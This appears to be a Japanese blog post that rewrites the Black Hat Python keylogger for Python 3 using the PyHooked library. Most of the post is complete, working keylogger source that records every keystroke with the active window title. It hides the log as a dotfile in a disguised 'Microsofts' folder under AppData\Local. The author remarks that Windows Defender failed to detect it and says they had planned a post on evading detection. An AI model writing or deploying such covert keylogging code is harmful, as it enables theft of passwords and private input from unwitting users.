#!

路上に就職!

Black Hat Python のキーロガーをPyHookedで書き直した。

Black Hat PythonPythonキーロガーを構築する章があるのですが ただ2系で書かれており3系に治してもPyhookで下記のエラーがでて動かなかった。。

TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'

そこで PyHookedと呼ばれるライブラリを使用し書き直すことにしました。

from pyhooked import Hook,KeyboardEvent
import sys
import os
import datetime
from ctypes import *

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
window_current = None

date = datetime.date.today()
file_name = date.strftime('%Y_%m_%d')

save_directory = '{0}//AppData//Local//Microsofts'.format(os.path.expanduser('~')) 
save_file = save_directory + '//' + '.' + file_name + '.txt'

input_key = []

def setting_keylogger():
    if not os.path.exists(save_directory):
        os.mkdir(save_directory)

def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    process_id = "%d" % pid.value
    executable = create_string_buffer(512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    window_title = create_string_buffer(512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    return window_title.value.decode('cp932', 'ignore')

def event(args):
    global window_current
    if isinstance(args,KeyboardEvent):
        if 'down' in args.event_type:
            now_window = get_current_process()
            if window_current != now_window:
                    input_key.append(now_window+"\n")
                    window_current = now_window
            if args.current_key not in ['Left','Up','Right','Down']:
                input_key.append(args.current_key)
            if 'Return' == args.current_key:
                with open(save_file,'a') as f:
                    f.write(''.join(input_key)+'\n')
                input_key.clear()

setting_keylogger()
window_current = get_current_process()
hook = Hook()
hook.handler = event
hook.hook()

C:\Users\username\AppData\Local にMicrosoftsというディレクトリを作成し.Y_m_d.txtというフォーマットで 押したキーを保存する部分を追加しました。Windows Defenderで検知されるかと思ったら意外と検知されずに 動いてしまった。
以下はVirusTotalにアップロードした結果です。

f:id:x6d61:20200206230234p:plain
VirusTotal

Windows Defenderに検知されて回避する記事を書こうと思ってたのに予定が狂ってしまった。